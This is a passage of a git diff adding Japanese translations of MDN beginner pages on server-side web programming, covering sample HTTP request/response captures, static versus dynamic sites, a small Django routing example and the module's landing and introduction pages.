+<p>残りの行には、使用されているブラウザとそれが処理できるレスポンスの種類に関する情報が含まれています。たとえば、次のようになります。</p> + +<ul> + <li>私のブラウザ (<code>User-Agent</code>) は Mozilla Firefox (<code>Mozilla/5.0</code>) です。</li> + <li>gzip 圧縮情報 (<code>Accept-Encoding: gzip</code>) を受け入れることができます。</li> + <li>指定された文字セット (<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) および<span class="tlid-translation translation" lang="ja"><span title="">言語</span></span> (<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>) を受け入れることができます。</li> + <li><code>Referer</code> 行は、このリソースへのリンク (つまり、要求の発信元、<code>https://developer.mozilla.org/en-US/</code>) を含んだ Web ページのアドレスを示します。</li> +</ul> + +<p>HTTP リクエストもボディを持つことができますが、この場合は空です。</p> + +<h4 id="レスポンス">レスポンス</h4> + +<p>このリクエストに対するレスポンスの最初の部分を以下に示します。ヘッダーには、次のような情報が含まれています。</p> + +<ul> + <li>最初の行にはレスポンスコード <code>200 OK</code> が含まれています。これはリクエストが成功したことを示しています。</li> + <li>レスポンスが <code>text/html</code> フォーマットの (<code>Content-Type</code>) であることがわかります。</li> + <li>また、UTF-8 文字セット(<code>Content-Type: text/html; charset=utf-8</code>) が使用されていることもわかります。</li> + <li>head はそれがどれくらい大きいかも教えてくれます (<code>Content-Length: 41823</code>)。</li> +</ul> + +<p>メッセージの最後に <strong>body</strong> があります。これにはリクエストによって返された実際の HTML が含まれています。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">HTTP/1.1 200 OK +Server: Apache +X-Backend-Server: developer1.webapp.scl3.mozilla.com +Vary: Accept,Cookie, Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:11:31 GMT +Keep-Alive: timeout=5, max=999 +Connection: Keep-Alive +X-Frame-Options: DENY +Allow: GET +X-Cache-Info: caching +Content-Length: 41823 + + + +<span class="doctype token"><!DOCTYPE html></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en-US<span class="punctuation token">"</span></span> <span class="attr-name token">dir</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>ltr<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>redesign no-js<span class="punctuation token">"</span></span> <span class="attr-name token">data-ffo-opensanslight</span><span class="attr-value token"><span class="punctuation token">=</span>false</span> <span class="attr-name token">data-ffo-opensans</span><span class="attr-value token"><span class="punctuation token">=</span>false</span> <span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span> <span class="attr-name token">prefix</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>og: http://ogp.me/ns#<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>utf-8<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">http-equiv</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>X-UA-Compatible<span class="punctuation token">"</span></span> <span class="attr-name token">content</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>IE=Edge<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span><span class="punctuation token">></span></span><span class="language-javascript script token"><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>d<span class="punctuation token">)</span> <span class="punctuation token">{</span> d<span class="punctuation token">.</span>className <span class="operator token">=</span> d<span class="punctuation token">.</span>className<span class="punctuation token">.</span><span class="function token">replace</span><span class="punctuation token">(</span><span class="regex token">/\bno-js/</span><span class="punctuation token">,</span> <span class="string token">''</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span>documentElement<span class="punctuation token">)</span><span class="punctuation token">;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span> + ...</code></pre> + +<p>レスポンスヘッダの残りの部分には、レスポンス (たとえば、いつ生成されたか)、サーバ、およびブラウザがページを処理する方法についての情報が含まれます (たとえば、<code>X-Frame-Options: DENY</code> 行は、このページを別のサイトの {{htmlelement("iframe")}} に埋め込むことを許可しないようにブラウザに指示します)。</p> + +<h3 id="POST_リクエストレスポンス_例">POST リクエスト/レスポンス 例</h3> + +<p>HTTP <code>POST</code> は、サーバに保存する情報を含むフォームを送信したときに作成されます。</p> + +<h4 id="リクエスト_2">リクエスト</h4> + +<p>以下のテキストは、ユーザがこのサイトに新しいプロファイルの詳細を送信したときに行われる HTTP リクエストを示しています。最初の行はこのリクエストを <code>POST</code> として識別しますが、リクエストのフォーマットは前述の <code>GET</code> リクエストの例とほぼ同じです。</p> + +<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Content-Length: 432 +Pragma: no-cache +Cache-Control: no-cache +Origin: https://developer.mozilla.org +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit +Accept-Encoding: gzip, deflate, br +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true + +csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=</pre> + +<p>主な違いは URL にパラメータがないことです。ご覧のとおり、フォームからの情報はリクエストの本文にエンコードされています (たとえば、新しいユーザーの fullname は <code>&user-fullname=Hamish+Willee</code> を使用して設定されます)。</p> + +<h4 id="レスポンス_2">レスポンス</h4> + +<p>リクエストからのレスポンスは以下のとおりです。ステータスコード "<code>302 Found</code>" は、投稿が成功したこと、および <code>Location</code> フィールドで指定されたページを読み込むために2番目の HTTP リクエストを発行する必要があることをブラウザに通知します。その他の点では、この情報は GET リクエストへのレスポンスに関する情報と似ています。</p> + +<pre class="brush: html">HTTP/1.1 302 FOUND +Server: Apache +X-Backend-Server: developer3.webapp.scl3.mozilla.com +Vary: Cookie +Vary: Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:38:13 GMT +Location: https://developer.mozilla.org/en-US/profiles/hamishwillee +Keep-Alive: timeout=5, max=1000 +Connection: Keep-Alive +X-Frame-Options: DENY +X-Cache-Info: not cacheable; request wasn't a GET or HEAD +Content-Length: 0 +</pre> + +<div class="note"> +<p><strong>メモ</strong>: これらの例に示されている HTTP レスポンスとリクエストは <a href="https://www.telerik.com/download/fiddler">Fiddler</a> アプリケーションを使ってキャプチャされました、しかしあなたはウェブスニファ (例えば <a href="http://websniffer.cc/">Websniffer</a>) または <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a> のようなブラウザ拡張を使って同様の情報を得ることができます。あなたはこれを自分で試すことができます。リンクされているツールを使用してから、サイト内を移動してプロファイル情報を編集し、さまざまなリクエストとレスポンスを確認します。最近のほとんどのブラウザには、ネットワーク要求を監視するツール (たとえば、Firefox の<a href="/ja/docs/Tools/Network_Monitor">ネットワークモニタツール</a>) もあります。</p> +</div> + +<h2 id="静的サイト">静的サイト</h2> + +<p><em>静的サイト</em>は、特定のリソースがリクエストされたときはいつでもサーバから同じハードコードされたコンテンツを返すものです。たとえば、製品に関するページが <code>/static/myproduct1.html</code> にある場合、この同じページがすべてのユーザに返されます。サイトに他の似たような製品を追加するならば、別のページ (例えば <code>myproduct2.html</code>) を追加する必要があるでしょう。これは本当に非効率的になり始めます — 何千もの製品ページにたどり着くとどうなるでしょう？ <span class="tlid-translation translation" lang="ja"><span title="">各ページ (基本的なページテンプレート、構造など) に渡って多くのコードを繰り返すことになります。ページ構造について何か変更したい場合 (たとえば、新しい「関連商品」セクションを追加するなど)</span> <span title="">各ページを個別に変更する必要があります。</span></span></p> + +<div class="note"> +<p><strong>メモ</strong>: ページ数が少なく、すべてのユーザに同じコンテンツを送信したい場合は、静的サイトが優れています。ただし、ページ数が増えると、管理に多大なコストがかかる可能性があります。</p> +</div> + +<p>前回の記事で見た静的サイトのアーキテクチャ図をもう一度見て、これがどのように機能するのかを要約しましょう。</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p> + +<p>ユーザがページにナビゲートしたい場合、ブラウザはその HTML ページの URL を指定した HTTP <code>GET</code> リクエストを送信します。サーバはファイルシステムからリクエストされた文書を検索し、その文書と "<code>200 OK</code>" の <a href="/ja/docs/Web/HTTP/Status">HTTP レスポンスステータスコード</a> (成功を示す) を含む HTTP レスポンスを返します。ファイルがサーバに存在しない場合は "<code>404 Not Found</code>"、ファイルが存在するが別の場所にリダイレクトされている場合は "<code>301 Moved Permanently</code>" など、サーバは別のステータスコードを返すことがあります。</p> + +<p>静的サイトのサーバは可変データを格納しないため、GET リクエストを処理するだけで済みます。また、HTTP リクエストデータ (URL パラメータやクッキーなど) に基づいてレスポンスを変更することもありません。</p> + +<p>それでも、動的サイトは静的ファイル (CSS、JavaScript、静的イメージなど) に対するリクエストをまったく同じ方法で処理するため、静的サイトの機能を理解することはサーバーサイドプログラミングを学ぶときに役立ちます。</p> + +<h2 id="動的サイト">動的サイト</h2> + +<p><em>動的サイト</em>とは、特定のリクエスト URL とデータに基づいてコンテンツを生成して返すことができる (特定の URL に対して常に同じハードコードファイルを返すのではない) サイトです。製品サイトの例を使用すると、サーバは個々の HTML ファイルではなくデータベースに製品の「データ」を保管します。商品の HTTP <code>GET</code> リクエストを受信すると、サーバは商品 ID を決定し、データベースからデータを取得してから、そのデータを HTML テンプレートに挿入することによって、レスポンス用の HTML ページを作成します。これは静的サイトよりも大きな利点があります。</p> + +<p>データベースを使用すると、製品情報を簡単に拡張、変更、および検索可能な方法で効率的に格納できます。</p> + +<p>HTML テンプレートを使用すると、HTML 構造の変更が非常に簡単になります。これは 1つの場所、1つのテンプレート内で行う必要があるだけで、潜在的に何千もの静的ページでは行わないためです。</p> + +<h3 id="動的リクエストの構造">動的リクエストの構造</h3> + +<p>このセクションでは、前回の記事で説明した内容に基づいて、「動的な」HTTP リクエストとレスポンスのサイクルの概要を段階的に説明します。"物事を現実のものにする" ために、コーチが HTML 形式で彼らのチーム名とチームサイズを選択して、彼らの次のゲームのために提案された "最高のラインナップ" を取り戻すことができるスポーツチームマネージャーウェブサイトのコンテキストを使います。</p> + +<p>以下の図は、"チームコーチ" Web サイトの主な要素と、コーチが "ベストチーム"リストにアクセスしたときの一連の操作の番号付きラベルを示しています。サイトの一部は <em>Web アプリケーション</em> (これは HTTP リクエストを処理し、HTTP レスポンスを返すサーバーサイドコードを指す方法です)、<em>データベース</em>、これにはプレイヤー、チーム、コーチ、そして彼らの関係についての情報が含まれています、そして <em>HTML テンプレート</em>です。</p> + +<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p> + +<p>コーチがチーム名と選手の数を記入したフォームを送信した後、一連の操作は次のようになります。</p> + +<ol> + <li>Web ブラウザはリソースのベース URL (<code>/best</code>) を使用し、URL パラメータ (例: <code>/best?team=my_team_name&show=11</code>) または URL パターンの一部 (例: <code>/best/my_team_name/11/</code>) としてチームと選手の番号をエンコードしたものを使用して、サーバへの HTTP <code>GET</code> リクエストを作成します。 <code>GET</code> リクエストが使用されるのは、リクエストがデータをフェッチするだけである (データを変更しない) ためです。</li> + <li><em>Web サーバ</em>はリクエストが「動的」であることを検出し、それを処理 (Web サーバは、その構成で定義されたパターンマッチング規則に基づいてさまざまな URL を処理する方法を決定します) のために <em>Web アプリケーション</em>に転送します。</li> + <li><em>Web アプリケーション</em>は、リクエストの<em>意図</em>が URL (<code>/best/</code>) に基づいて「最善のチームリスト」を取得することであることを識別し、URL から必要なチーム名とプレーヤーの数を見つけます。その後、<em>Web アプリケーション</em>はデータベースから必要な情報を取得します (<span class="tlid-translation translation" lang="ja"><span title="">どのプレーヤーが「最高」であるかを定義するために追加の「内部」パラメータを使用し、クライアント側の Cookie からログインしたコーチの身元も取得する可能性があります</span></span>)。</li> + <li><em>Web アプリケーション</em>は、(<em>データベース</em>からの) データを HTML テンプレート内のプレースホルダに入れることで、HTML ページを動的に作成します。</li> + <li><em>Web アプリケーション</em>は、生成された HTML を HTTP ステータスコード 200 ("成功") とともに (<em>Web サーバ</em>経由で) Web ブラウザに返します。HTML が返されるのを妨げるものがあると、<em>Web アプリケーション</em>は別のコードを返します。たとえば、"404" はチームが存在しないことを示します。</li> + <li>Web ブラウザは返された HTML の処理を開始し、それが参照する他の CSS または JavaScript ファイルを取得するための個別のリクエストを送信します (手順7を参照)。</li> + <li>Web サーバはファイルシステムから静的ファイルをロードして直接ブラウザに返します (これも正しいファイル処理は設定ルールと URL パターンマッチングに基づいています)。</li> +</ol> + +<p>データベース内のレコードを更新する操作も同様に処理されます。データベースの更新と同じですが、ブラウザからの HTTP リクエストは <code>POST</code> リクエストとしてエンコードされるはずです。</p> + +<h3 id="他の仕事をする">他の仕事をする</h3> + +<p><em>Web アプリケーション</em>の仕事は、HTTP リクエストを受信し、HTTP レスポンスを返すことです。情報を取得または更新するためにデータベースと相互にやり取りすることは非常に一般的な作業ですが、コードは同時に他のことを実行することも、データベースとやり取りしないこともあります。</p> + +<p><em>Web アプリケーション</em>が実行する追加のタスクの良い例は、ユーザにメールを送信してサイトへの登録を確認することです。サイトはロギングやその他の操作も実行する可能性があります。</p> + +<h3 id="HTML_以外のものを返す">HTML 以外のものを返す</h3> + +<p>サーバサイドの Web サイトのコードは、レスポンスに HTML スニペット/ファイルを返す必要はありません。代わりに動的に他の種類のファイル (テキスト、PDF、CSV など) あるいはデータ (JSON、XML など) を作成して返すことができます。</p> + +<p>データを動的に更新して自身のコンテンツ ({{glossary("AJAX")}}) を更新できるようにするために Web ブラウザにデータを返すという考えはかなり前からありました。ごく最近では、必要に応じて動的に更新される単一の HTML ファイルを使用して Web サイト全体が作成される「シングルページアプリケーション」が普及しています。このスタイルのアプリケーションを使用して作成された Web サイトは、サーバから Web ブラウザに多くの計算コストをかけます。その結果、Web サイトは (応答性が高いなど) ネイティブアプリケーションのように動作するように見えます。</p> + +<h2 id="Web_フレームワークはサーバサイドの_Web_プログラミングを簡素化します">Web フレームワークはサーバサイドの Web プログラミングを簡素化します</h2> + +<p>サーバサイド Web フレームワークにより、上記の操作を処理するコードを非常に簡単に書くことができます。</p> + +<p>それらが実行する最も重要な操作の1つは、異なるリソース/ページの URL を特定のハンドラ関数にマッピングするための単純なメカニズムを提供することです。これにより、各タイプのリソースに関連付けられているコードを別々にしておくことが容易になります。また、ハンドラ機能を変更することなく、特定の機能を提供するために使用される URL を1か所で変更できるため、メンテナンスの面でもメリットがあります。</p> + +<p>たとえば、2つの URL パターンを2つのビュー関数にマップする次の Django (Python) コードを考えてみましょう。最初のパターンは、<code>/best</code> のリソース URL を持つ HTTP リクエストが <code>views</code> モジュールの <code>index()</code> という名前の関数に渡されることを保証します。パターン "<code>/best/junior</code>" を持つリクエストは、代わりに <code>junior()</code> ビュー関数に渡されます。</p> + +<pre class="brush: python"># file: best/urls.py +# + +from django.conf.urls import url + +from . import views + +urlpatterns = [ + # example: /best/ + url(r'^$', views.index), + # example: /best/junior/ + url(r'^junior/$', views.junior), +]</pre> + +<div class="note"> +<p><strong>メモ</strong>: <code>url()</code> 関数の最初のパラメータは、「正規表現」(RegEx, または RE) と呼ばれるパターンマッチング手法を使用するため、少し奇妙に見える (たとえば、<code>r'^junior/$'</code>) ことがあります。この時点で正規表現がどのように機能するのかを知る必要はありませんが、(上のハードコードされた値ではなく) URL のパターンと一致させてビュー関数のパラメータとして使用できるという点が異なります。例として、非常に単純な RegExは、「1つの大文字に一致し、その後に4〜7つの小文字を一致させる」と言うかもしれません。</p> +</div> + +<p>Web フレームワークはまた、ビュー関数がデータベースから情報を取得するのを容易にします。データの構造はモデルで定義されています。これは基礎となるデータベースに格納されるフィールドを定義する Python クラスです。"<em>team_type</em>" のフィールドを持つ <em>Team</em> というモデルがある場合は、単純なクエリ構文を使用して特定のタイプを持つすべてのチームを取り戻すことができます。</p> + +<p>以下の例では、 "大文字と小文字を区別する" 正確な <code>team_type</code> が "junior" であるすべてのチームのリストを取得します — フォーマットに注意してください。フィールド名 (<code>team_type</code>) の後に二重下線、そして使用する一致のタイプ (この場合は <code>exact</code>) です。他にもたくさんの種類の一致があり、それらをデイジーチェーンでつなげることができます。 順序と返される結果の数も制御できます。</p> + +<pre class="brush: python">#best/views.py + +from django.shortcuts import render + +from .models import Team + + +def junior(request): + list_teams = Team.objects.filter(team_type__exact="junior") + context = {'list': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<p><code>junior()</code> 関数は、ジュニアチームのリストを取得した後、<code>render()</code> 関数を呼び出して、元の <code>HttpRequest</code>、HTML テンプレート、およびテンプレートに含める情報を定義する "context" オブジェクトを渡します。<code>render()</code> 関数は、コンテキストと HTML テンプレートを使用して HTML を生成し、それを <code>HttpResponse</code> オブジェクトに返す便利な関数です。</p> + +<p>明らかに Web フレームワークは他にも多くのタスクで役に立ちます。次の記事では、さらに多くの利点といくつかの一般的な Web フレームワークの選択について説明します。</p> + +<h2 id="まとめ">まとめ</h2> + +<p>この時点で、サーバサイドコードが実行しなければならない操作の概要を把握し、サーバーサイド Web フレームワークがこれを容易にする方法をいくつか知っているはずです。</p> + +<p>次のモジュールでは、最初のサイトに最適な Web フレームワークを選択する手助けをします。</p> + +<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> + +<h2 id="このモジュールの記事一覧">このモジュールの記事一覧</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Introduction">サーバサイドの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">クライアント - サーバの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Web_frameworks">サーバーサイドウェブフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Website_security">Web サイトのセキュリティ</a></li> +</ul> diff --git a/files/ja/learn/server-side/first_steps/index.html b/files/ja/learn/server-side/first_steps/index.html new file mode 100644 index 0000000000..d5acb8040f --- /dev/null +++ b/files/ja/learn/server-side/first_steps/index.html @@ -0,0 +1,47 @@ +--- +title: サーバサイドの Web サイトプログラミングの第一歩 +slug: Learn/Server-side/First_steps +tags: + - CodingScripting + - Intro + - Landing + - ガイド + - サーバサイドプログラミング + - 初心者 + - 学習 +translation_of: Learn/Server-side/First_steps +--- +<div>{{LearnSidebar}}</div> + +<p>このモジュールでは、サーバーサイドプログラミングに関するいくつかの基本的な質問、"これは何？"、"クライアントサイドプログラミングとどう違うの？"、"なぜ便利なの？" について答えます。次に、最も人気のあるサーバーサイドの ウェブフレームワークの概要と、最初のサイトを作成するための最適なフレームワークの選択方法に関するガイダンスを提供します。最後に、ウェブサーバーのセキュリティに関する高度な入門記事を提供します。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを開始する前に、サーバーサイドのウェブサイトプログラミングやその他のプログラミングの知識は必要ありません。</p> + +<p>しかしながら、"ウェブがどのように動作するか" を理解する必要があります。まず以下のトピックスを読むことをお勧めします:</p> + +<ul> + <li><a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">ウェブサーバーとは</a></li> + <li><a href="/ja/docs/Learn/Common_questions/What_software_do_I_need">ウェブサイトをビルドするために必要なソフトウェアは？</a></li> + <li><a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">ウェブサーバーにファイルをアップロードするには？</a></li> +</ul> + +<p>基本的な事を理解できれば、このセクションを読み進む準備が整います。</p> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/Server-side/First_steps/Introduction">サーバーサイドの概要</a></dt> + <dd>MDN のサーバーサイドプログラミング入門コースにようこそ！この最初の記事では、「それはどんなもの？」、「クライアントサイドプログラミングとはどう違う？」、「なぜ便利なの？」 という質問に答えながら、ハイレベルな視点からサーバーサイドプログラミングを見ていきます。この記事を読めば、サーバーサイドコーディングを行うことで、 ウェブサイトにどんな機能を加えることができるか、理解できるようになります。</dd> + <dt><a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">クライアント-サーバーの概要</a></dt> + <dd>サーバーサイドプログラミングの目的と潜在的な利点を知ったので、サーバーがブラウザーから "動的リクエスト" を受け取ったときに起こることを詳細に検討します。ほとんどのウェブサイトのサーバーサイドコードは同様の方法でリクエストとレスポンスを処理するので、これは自身のコードの大部分を書くときに何が必要かを理解するのに役立ちます</dd> + <dt><a href="/ja/docs/Learn/Server-side/First_steps/Web_frameworks">サーバーサイドウェブフレームワーク</a></dt> + <dd>前の記事では、ウェブクライアントとサーバー間の通信、HTTP リクエストとレスポンスの性質、およびウェブブラウザーからのリクエストにレスポンスするためにサーバーサイドウェブアプリケーションが実行する必要があることについて説明しました。この知識をもとに、ウェブフレームワークがどのようにこれらのタスクを単純化できるかを探り、最初のサーバーサイドウェブアプリケーションのためのフレームワークをどのように選択するかを考えてみましょう。</dd> + <dt><a href="/ja/docs/Learn/Server-side/First_steps/Website_security">ウェブサイトのセキュリティ</a></dt> + <dd>ウェブサイトのセキュリティでは、ウェブサイトのデザインと使用方法のあらゆる面で警戒が必要です。この入門記事ではウェブサイトのセキュリティの第一人者にはなりませんが、脅威がどこから発生するのか、そして最も一般的な攻撃に対して Web アプリケーションを強化するために何ができるのかを理解するのに役立ちます。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">課題</h2> + +<p>コードをまだ説明していないため、この "概要" モジュールでは課題はありません。サーバーサイドプログラミングを使用して提供できる機能の種類が何かをよく理解していることを期待しています。また、初めてのウェブサイトを作成するために使用するサーバーサイドの ウェブフレームワークについて決断していることを望みます。</p> diff --git a/files/ja/learn/server-side/first_steps/introduction/index.html b/files/ja/learn/server-side/first_steps/introduction/index.html new file mode 100644 index 0000000000..5c269c2d6a --- /dev/null +++ b/files/ja/learn/server-side/first_steps/introduction/index.html @@ -0,0 +1,227 @@ +--- +title: サーバサイドの概要 +slug: Learn/Server-side/First_steps/Introduction +translation_of: Learn/Server-side/First_steps/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div> + +<p class="summary"><span class="seoSummary">MDN のサーバサイドプログラミング入門コースにようこそ！この最初の記事では、「それはどんなもの？」、「クライアントサイドプログラミングとはどう違う？」、「なぜ便利なの？」 という質問に答えながら、ハイレベルな視点からサーバサイドプログラミングを見ていきます。この記事を読めば、サーバサイドコーディングを行うことで、 Web サイトにどんな機能を加えることができるか、理解できるようになります。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学習の前提:</th> + <td>基本的なコンピュータリテラシーと、Webサーバーとはどんなものかという基礎知識を有していること</td> + </tr> + <tr> + <th scope="row">学習の目的:</th> + <td>サーバーサイドプログラミングとは何か、何ができるのか、クライアントサイドプログラミングとどこが違うのか、といった点を理解すること</td> + </tr> + </tbody> +</table> + +<p>大規模なウエブサイトの多くは、サーバーサイドコードを使うことで、必要に応じた、異なるデータを動的に表示しています。このデータは、サーバーのデータベースから取り出され、クライアントに送られると、（HTMLやJavaScriptで記述された）クライアントサイドコードで表示されます。 </p> + +<p>サーバーサイドコードを使う最大の利点は、個々のユーザーにあわせて、ウエブサイトのコンテンツ調整できることでしょう。動的サイトでは、ユーザーの好みや傾向をもとに、より適切なコンテンツを強調表示することができます。また、ユーザーの好みや情報を取り込んで利用することにより、サイトを使いやすくすることもできます。例えば、クレジットカード情報を保管して、次の支払いが簡単に済むようにできます。</p> + +<p>加えて、通知や更新情報などを電子メールなどで送ることで、サイトユーザーとの更なるやりとりが可能になります。このような機能を活用することで、ユーザーとの繋がりをより強固なものにできるのです。.</p> + +<p>現代のウエブ開発では、サーバーサイドプログラミングを習得することが求められるようになってきました。.</p> + +<h2 id="サーバーサイドプログラミングとは何か？">サーバーサイドプログラミングとは何か？</h2> + +<p>Webブラウザは、「ハイパー・テキスト・トランスファー・プロトコル ({{glossary("HTTP")}})」を使って<a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">Webサーバー</a>と通信します。Webページのリンクをクリックしたり、入力フォームを送信したり、検索を実行したりすると、ブラウザからサーバーへ<strong>HTTP要求</strong>（Request）が送信されます。</p> + +<p>この要求には、関係するデータを指定するURLや、要求するアクションを定めるメソッド（データの取得、削除、送付など）が含まれます。さらに追加情報を含むこともあります。たとえば（<a href="/ja/docs/Web/HTTP/Methods/POST">HTTP POSTメソッド</a>を使ったデータ送付のように）URLのパラメータとして<a href="https://en.wikipedia.org/wiki/Query_string">クエリー文字列</a>を付加したり、{{glossary("Cookie", "クッキー")}}を使ったりします。</p> + +<p>Webサーバーはクライアントからの要求を待ちうけ、受信したら、処理を行ってから<strong>HTTP応答</strong>（Response）メッセージをブラウザに返します。このとき応答には、要求の実行が成功したか否かの結果（例えば成功したら"HTTP/1.1 200 OK")を含めます。 </p> + +<p>成功したときの応答には、要求されたデータ（例えば、新しいHTMLページやが画像など）が含まれ、ブラウザ上に表示されることになります。</p> + +<h3 id="静的サイト">静的サイト</h3> + +<p>下図に静的サイトとなるWebサーバーの動作を示します。静的サイトは、要求されたデータに対して、常に一定のコンテンツを返します。新しいページに移るときには、ブラウザから、そのURLを指定したHTTP GET（取得）要求を送ります。</p> + +<p>サーバーは要求された文書をファイルシステムから取り出し、<a href="/ja/docs/Web/HTTP/Status#Successful_responses">成功ステータス</a>(通常は"200 OK")と一緒にHTTPレスポンスに入れて送り返します。何らかの原因でファイルが取り出せないときは、エラーステータス(<a href="/ja/docs/Web/HTTP/Status#Client_error_responses">クライアント側エラー</a>あるいは<a href="/ja/docs/Web/HTTP/Status#Server_error_responses">サーバー側エラー</a>)を送り返します。</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p> + +<h3 id="動的サイト">動的サイト</h3> + +<p>動的ウエブサイトでは、応答に含まれるコンテンツの一部が、必要に応じて「動的に」生成されます。多くの場合、動的ウエブサイトのHTMLページは、データベースから取り出したデータを、HTML雛型の指定された場所に埋め込むことで作られます。これは大量のコンテンツを保存するのに、静的ウエブサイトと比べて、はるかに効率的な方法と言えます。 </p> + +<p>動的サイトは、ユーザーから与えられた情報や保存された好みに応じて、同じURL要求であっても異なるデータを返すことができます。また、応答を返すときに他の操作（例えば通知をするなど）を行うこともできます。</p> + +<p>動的ウエブサイトを実現するコードの大部分は、サーバー上で実行されます。このコードを作ることを、「<strong>サーバーサイドプログラミング</strong>」（あるいは「<strong>バックエンドスクリプティング</strong>」)と言います。</p> + +<p>比較的簡単な動的ウエブサイトの動作を下図に示します。ブラウザがHTTP要求を送ると、サーバーがその要求を処理して、HTTP応答を返すところは、静的ウエブサイトの場合と同じです。</p> + +<p>静的データを要求されたときは、静的サイトと同じ動作をします。静的データはファイルとして保存されており、変更されることはありません。例えば、CSS、JavaScript、画像、事前に作成されたPDFファイルなどが、これにあたります。 </p> + +<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p> + +<p>動的データを要求されたときは、②の矢印が示すように、（図では「Webアプリケーション」と表示されている）他のサーバーサイドコードに転送されます。そこで要求を解釈し、必要なデータをデータベースから取り出し（③）、HTML雛型に埋め込みます（④）。それを応答としてブラウザに送り返します（⑤と⑥）。 </p> + +<div> +<h2 id="サーバーサイドプログラミングとクライアントサイドプログラミングは同じものか？">サーバーサイドプログラミングとクライアントサイドプログラミングは同じものか？</h2> +</div> + +<p>サーバーサイドプログラミングとクライアントサイドプログラミングを比較してみましょう。両者には明確な差異があります。</p> + +<ul> + <li>目的も課題も異なる</li> + <li>使用するプログラミング言語が異なる（JavaScriptは例外で、両方のプログラミングで使用される）</li> + <li>OSも実行環境も異なる</li> +</ul> + 